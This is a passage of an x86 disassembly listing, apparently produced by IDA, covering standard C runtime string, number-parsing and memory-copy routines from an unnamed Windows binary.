; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB278, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26701D0h
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 2670859h
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2C4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2C4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
